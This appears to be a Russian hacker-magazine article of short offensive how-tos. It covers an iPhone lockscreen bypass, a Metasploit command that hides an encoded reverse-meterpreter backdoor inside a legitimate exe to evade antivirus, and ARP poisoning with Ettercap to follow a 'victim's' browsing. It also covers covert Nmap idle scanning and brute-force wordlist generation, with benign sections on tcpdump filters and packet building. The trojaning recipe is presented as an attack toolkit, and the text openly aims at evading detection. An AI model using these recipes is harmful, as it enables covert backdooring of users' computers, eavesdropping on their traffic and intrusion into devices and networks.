Содержание статьи
- Задача: Обход локскрина на iPhone
- Решение
- Все! Lockscreen Bypassed!
- Задача: Спрятать бэкдор в любом exe-файле, с сохранением функционала последнего
- Решение
- Задача: Проследить за передвижениями жертвы по вебу
- Решение
- Задача: Сгенерировать TCP/IP пакеты
- Решение
- Задача: Фильтрация трафика при снифе tcpdump'ом
- Решение
- Задача: Скрытое сканирование портов Nmap’ом
- Решение
- Задача: Сгенерировать словарь для брутфорса
- Решение
Задача: Обход локскрина на iPhone
Решение
Поговорим немного о мобильной безопасности. А точнее, о знаменитом яблочном продукте, который и в нашей стране достаточно сильно распространен – глазофон :). Мобильники уже давно неотъемлемая часть нашей жизни, а с учетом развития технологий (всевозможных встроенных камер, разнообразного софта, возможности работать в Сети), объемы конфиденциальной информации, хранимой на портативных устройствах, сильно возрастают. И никто не хочет, чтобы она попала кому-то постороннему в руки. А тем более так просто, как это можно сделать с айфоном.
Яблочники допустили оплошность, наверное, в самом важном – в локскрине. И что хуже, для обхода локскрина, не знаний, не умений особых не надо! Любой может всего за пару кликов, залезть в запароленное устройство.
Говоря «за пару» - я не сильно преуменьшил ситуацию, смотри сам:
- Разблочим девайс;
- Кликаем:
Emergency Call - Набираем 3 решетки:
# # # - Нажимаем Call и почти сразу Power
Все! Lockscreen Bypassed!
Правда, после этого мы попадаем только в контакт лист, а не в стандартный интерфейс. Но и оттуда мы можем увидеть список контактов (что логично :), список звонков, просмотреть фотографии и голосовую почту. Можно звонить кому хочешь! Ходят слухи о доступе к видео, органайзеру и еще каким-то функциям, с помощью всевозможных извратов.
Багу эту нашли в глазофоне с iOS 4.1, но работает она и в предыдущих версиях. Исправление предполагается только в 4.2
Протестить лично не было возможности - не фанат данных продуктов, хотя и юзабилити на высоком уровне, и гринпис яблоки любит... Примеры эксплуатации баги есть на ютубе в большом количестве. Так что посмотри видео и не выпускай свой айфон из рук до выхода патча :).
Задача: Спрятать бэкдор в любом exe-файле, с сохранением функционала последнего
Решение
В одном из прошлых номеров было описано решение данной задачи, но тогда требовалось использовать виндовый IExpress, писать скрипт для последовательного запуска exe'шников, что не очень удобно. К тому же, тот метод ни как не помогал скрыться от антивирусов.
И вот опять скажем спасибо создателям Metasploit'а (metasploit.com). Они расширили функционал msfencode и добавили приятную возможность – объединять любой exe-файл с любой нагрузкой(payload), причем сохраняя функционал исходного exe-файла. Как раз из-за отсутствия сохранения функционала и приходилось извращаться. Но сразу к делу. За основу возьмем qip.exe.
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.101 R | ./msfencode -t exe –d ~ -x qip.exe -k -o q_bd101.exe -e x86/shikata_ga_nai -c 3
Где, модулю msfpayload указываем создать нагрузку реверс-метерпретер с указанием хоста (LHOST). Формат вывода – сырой(R). Итог попадает в msfencode. Ему мы указываем зашифровать нашу нагрузку(-e x86/shikata_ga_nai) трижды (-с 3). А далее совместить ее с существующим exe-файлом (-t exe). Указываем, что искать exe-файл требуется в домашней директории (-d ~ ), а его имя qip.exe (-x qip.exe). Самый главный аргумент -k указывает, что нагрузка будет подгружаться как отдельный потов в конечном exe-файле. И последнее, указываем итоговое название файла q_bd101.exe (-o q_bd101.exe).
Exe-файл, который требуется пробекдорить, как было сказано выше, необходимо положить в домашнюю директорию, иначе - в стандартную папку с темплэйтами в MSF.
Как видишь, все достаточно просто. Скрипт-киддисы очень радовались данной фиче, что и понятно :).
О результирующем файле можно сказать следующее. Во-первых, копируется вся информация о файле, что хорошо. Во-вторых (что не очень хорошо) увеличивается размер файла. Хотя и всего на несколько килобайт. Если соблюдение точного размера важно – либо убираем «-k», либо ручками подкромсаем излишки в ехе-шнике. В-третьих, функционал программы остается прежним, что является большим плюсом. В-четвертых, ухудшается детектирование антивирусами (15 из 42 на virustotal.com), что тоже плюс.
Теперь есть возможность затроянить почти любое приложение под Windows! А определить, что приложение было модифицировано можно только по CRC, контрольной сумме. Но это вряд ли кому-то придет в голову. Кроме того, поменяв метод кодирования самой нагрузки, можно и вовсе избавить от детекта антивирусами. Но и это еще не все! Так у нас появляется возможность обходить брандмауэры пользователей, за счет того, что юзеры редко точно определяют правила для софта. Например, тот же квип по определению должен работать по сети, что и указывается в фаерволле, но кроме того, он будет нашим шеллом, а такие тонкие настройки, чтобы заблокировать данную возможность, есть в мало в каких фаерволлах.
В общем, об этом можно было только мечтать :).
Задача: Проследить за передвижениями жертвы по вебу
Решение
Для решения данной задачи нам потребуется, как ни странно, сниффер. В общем-то, следить не трудно: включаешь сниффер и видишь ссылки, куда человек заходит :). Ссылки-ссылками, но иногда полезно узнать, что это за сайт, куда заходила жертва. Можно ручками, но если сайтов много, то можно автоматизировать процесс, что и сделали добрые люди. Я говорю о плагине remote_browser для Ettercap-NG (ettercap.sourceforge.net). Да-да, этот чудо сниффер!
Последовательность действий следующая.
Сначала, подредактируем ettercap.conf
1) Редактируем конфиг
nano /etc/etter.conf
2) Заменяем ec_uid, ec_gid на:
ec_uid = 0
ec_gid = 0
3) Заменяем значение remote_browser на:
remote_browser = "firefox http://%host%url"
Третий шаг можно оставить, но тогда перед запуском плагина требуется запустить сам браузер, а в данном варианте он стартует сам.
Далее пример с использованием гуи-версии Ettercap’а:
1) Запускаем ettercap:
Ettercap –G
2) Sniff-Unified sniffing;
3) Plugins – Manage the plugins;
4) 2 клик на remote_browser;
5) Далее запускаем сниффер:
Start-Start sniffing
Как только в трафике появиться запрос к какому-то веб-серверу от жертвы – твой браузер откроется на той же странице. Чтобы «было что сниффить», можно сделать arp-poison. Для этого:
1) сканируем сетку:
Hosts - Scan for hosts
2) добавляем шлюз жертвы:
Hosts – Host list – IP_router – Add to T1
3) добавляем жертв(у):
Hosts – Host list – IPs– Add to T2
4) запускаем arp-poison:
Mitm – Arp poisoning – Sniff remote connection
Так же можно работать и с pcap-логами трафика, используя tcpreplay:
tcpreplay –i eth0 blah_blah.pcap
Теперь о недостатках. Во-первых, плагин хреново работает с интерактивными сайтами, что и логично, есть проблемы с аутентификациями на сайтах. Во-вторых, открывается каждая из ссылок в новой вкладке, т.е. и всякие, никому не нужные запросы к баннерным сетям, но это решабельно. И, к сожалению, данный плагин не работает в Win версии Ettercap-NG.
Задача: Сгенерировать TCP/IP пакеты
Решение
Изучая что-либо, даже не важно, что именно, правильно и даже важно попробовать самому, потрогать своими руками. Но это и понятно: и ясности больше, и экспа быстрее набирается. И, наверное, всем читателя нашего журнала приходилось иметь дело со стеком протоколов TCP/IP, с его изучением (будь то в институте или как хобби). И, наверное, каждый напрягался по поводу того, что информация вроде и простая, но очень теоретическая. Никак к ней не прикоснуться. Есть, конечно, тулзы в стиле hping'а, но это уже что-то профессиональное, для людей с пониманием. Хорошее подспорье здесь, конечно, сниффер, на подобии Wireshark'a. Все достаточно наглядно и многие тонкости становятся понятны :). Но находка на диске прошлого номера Х меня очень порадовала. И я не могу не поделиться, и не обратить на нее вашего внимания, зная как много студентов читают журнал, скольким она может быть полезна. Имя ей - Colasoft Packet Builder (colasoft.com/packet_builder). Как ясно из названия – это генератор пакетов.
Бесплатный, под Windows. А главное с интуитивно понятным, наглядным интерфейсом.
Создавать можно любые пакеты, даже самые кривые, но отображение структуры заголовков возможно только для протоколов Ethernet, ARP, IP, TCP, UDP. Что важно, хоть и логично, полученные пакты можно отправлять в просторы Сети :).
Чтобы не создавать пакеты из ничего, чтобы видеть ответы на посылаемые пакеты, параллельно желательно запустить Wireshark. Кстати, Colasoft Packet Builder поддерживает импорт и экспорт cap-файлов. У Wireshark по стандарту pcap-формат, но существенной разницы между cap и pcap нет, так что можно просто переименовать файл.
Созданные пакеты группируются в левом списке, откуда их либо все, либо частично можно отправлять. Так что можно попробовать осуществить полное TCP «рукопожатие» (хотя осуществить его не просто из-за рандомных значений в заголовках), протестить способы активного ОС-детекта и много чего еще.
Ну, и в дополнение к этому - Colasoft Packet Player. Название тоже говорящее само за себя. По сути, это аналог знаменитому tcpreplay, только гуишный, под винду и несколько меньшими возможностями. Пользуемся на здоровье, когда требуется повторить старый трафик.
Также обидно, что отсутствуют консольные версии программ.
Задача: Фильтрация трафика при снифе tcpdump'ом
Решение
Продолжу тему использования сниферов.
Иногда требуется сэкономить ресурсы на компьютере, что бывает необходимо, если делаешь это через жертву, либо, если снифишь долго, и опять же появляется проблема в объемах логов, либо для общего удобства. Делается это с помощью фильтров для сниффера. Так как tcpdump является нерушимой классикой в деле прослушки каналов, то правила фильтров к ней работают и с большей частью другого аналогичного ПО.
Для tcpdump фильтр пишется после аргументов, в WireShark'е есть Capture Filter, в котором и прописывается аналогичный фильтр. Правила описывать не буду - на примере все станет ясно.
tcpdump -w test.pcap -i eth0 host 192.168.0.101 and tcp portrange 1-1024
Где
- -i eth0 – интерфейс для прослушивания;
- -w test.pcap – имя файла, куда сохранится все что наснифили;
- host 192.168.0.101 – лог, только приходящих/уходящих пакетов с 192.168.0.101;
- and, or – совмещение правил;
- tcp portrange 1-1024 – лог только протокола tcp по диапазону портов.
tcpdump -w test.pcap -s 1550 net 192.168 and not arp
Где
- -s 1550 – размер пакета, который сохранится в логе (стандарт tcpdump'а – 96 байт);
- net 192.168 – лог, только приходящих/уходящих пакетов с подсетки 192.168.
- not arp – не логировать ARP-пакеты.
tcpdump -w test.pcap src 192.168.0.101 and ( tcp port 31337 or udp \( 4523 or 5543 \))
Здесь снифятся только пакеты, исходящие от 192.168.0.101, только на порт 31337 протоколу TCP, либо 4523, 5543 порты протокола UDP.
Думаю, идея ясна. Аналогичным образом можно ограничивать по любым протоколам, портам, IP-, MAC-адресам и т.д. Здесь важно не запутаться в логике действия OR, AND и NOT. Кстати, можно использовать вместо них символы ||, &&, ! соответственно.
Кроме того, есть возможности по фильтрации на основании более глубоких «тонкостей» в значении полей. Например, пофильтровать по установленному биту Don't Fragment в IP-заголовке, или по SYN-флагу в TCP. Но это уже для гурманов и извращенцев :).
Задача: Скрытое сканирование портов Nmap’ом
Решение
Теперь к классике. Старой, доброй, светлой :).
Перед тем как взламывать какую-то сетку/хост требуется сначала провести разведку, собрать информацию. Одно из важнейших дел – достать информацию о запущенных сервисах на хосте. Сервисы привязаны к портам, а потому сканирование портов – важно. Но чтобы нас не засекли за таким «благим» делом (оно не особо легально), ведь сделать это не трудно, так как наш IP-адрес в каждом отправляемом пакете, требуется мутить всякие штуки.
Одним из достаточно скрытных, но при этом простых методов, является idle-сканирование, которое реализовано в Nmap’е (nmap.org). Идея Antirez’а еще от 1998 года и основана на наблюдении, что во многих ОС (и устройствах) имеется статическая инкрементация поля ID в IP заголовке, т.е. сколько хост отправил пакетов в сеть, на столько и увеличилось значение IPID.
На практике это выглядит следующим образом.
Мы находим зомби-хост на просторах сети. Зомби-хост – это хост с минимум трафика, т.е. «не общающийся» ни с кем по сети в данный момент. «Нет общения» - нет оправленных пакетов, а потому IPID не меняется. Коннектимся к нему и узнаем значение IPID.
Далее отправляем TCP SYN-запрос какой-то порт нашей жертве от IP зомби. Если порт открыт, то жертва отвечает SYN-ACK. Когда SYN-ACK TCP-пакет приходит нашему зомби, то он по стандарту генерирует RST-пакет в ответ, тем самым увеличивая свой IPID.
Если порт у жертвы закрыт, то генерируется RST-пакет, который отправляется зомби. По стандарту на RST-пакет не требуется отвечать, а потому не происходит изменения IPID у зомби. Если порт фильтруется брандмауэром у жертвы, то ответа на SYN-запрос никакого не последует, а потому IPID, аналогично с предыдущим вариантом, у зомби не изменится. Далее мы посылаем запрос уже зомби и анализируем значение IPID в ответе. Если оно изменилось (без учета нашего запроса зомби), то порт открыт, если нет – порт закрыт. Более подробное описание и показательный рисунок ищи на nmap.org/book/idlescan.html.
Таким образом, мы не посылаем ни одного пакета нашей жертве.
Что важно, данный метод, в отличие от многих других, можно использовать и на просторах Интернета.
Самой важной задачей здесь является нахождения такого вот зомби, хоста без трафика. Так как со сторонним трафиком мы не сможем проследить за изменениями IPID, реально машину найти не проблема.
Чтобы узнать подходит ли данный хост в виде зомбика, можно натравить на него Nmap с портсканом или ОС-детектом, с выводом дополнительной информации (-v). И, если там будет строчка «IP ID Sequence Generation: Incremental», то хост нам подходит. Протестить желательно пару раз. Самих зомбиков желательно брать либо поближе к себе, либо к жертве, для уменьшения количества возможных ложных срабатываний. Также есть скрипт для NSE, который чекает пригодность хоста (nmap.org/nsedoc/scripts/ipidseq.html).
Пример.
Определяем пригодность:
nmap -v 192.168.0.105
Где
- 192.168.0.105 – IP потенциального зомбика.
Запускаем idle-cканирование:
nmap -sI 192.168.0.105 -PN -v 192.168.0.1
Где
- -sI 192.168.0.105 – указываем IP-зомби;
- -PN – отключаем пинг жертвы, перед сканированием, для пущей конфиденциальности;
- -v – вывод подробной информации при сканировании;
- 192.168.0.1 – жертва.
Кроме скрытия своего IP-адреса, данный метод может применяться еще в нескольких ситуациях. Во-первых, для выяснения межхостовых взаимоотношений, т.е. когда доступ к жертве разрешен только с определенных адресов. Во-вторых, как метод обхода IDS/файрволлов, когда мы проводим сканирование хоста с нескольких зомби машин. Тем самым мы добавляем распределенность сканированию, затрудняя файпволлам его блокировку.
Задача: Сгенерировать словарь для брутфорса
Решение
Я уже несколько раз писал в данной рубрике о том, где можно взять словари для брутфорса или с помощью чего их можно сгенерировать. Но не могу не написать о прелестной находке. Имя ей - l517 (какое красивое имя :). Взять можно тут - code.google.com/p/l517/. Данная тулза включает в себя очень широкие возможности при быстрой и качественной работе. Смотри сам:
- Генерирует вордлисты, доставая слова из файлов всевозможных типов.
- Генерирует вордлисты, основываясь на веб-сайтах.
- Создание стандартных вордлистов.
- Мутация вордлистов букво-цифрами, личными префиксо-суфиксами.
- Поддержка иностранных алфавитов (хотя отображение их заметно страдает).
- Конвертация, фильтры вордлистов.
Программа сделана под Win и, понятное дело, имеет гуи-интерфейс. Хотя по сути своей, тулза ничего чрезвычайно нового и оригинального собой не представляет. Но хорошо ведь, когда в одном месте все необходимое собрано. Да и поколению, не дружащему с консолью, придется явно по душе ;).
Примеры приводить не буду – все и так интуитивно понятно.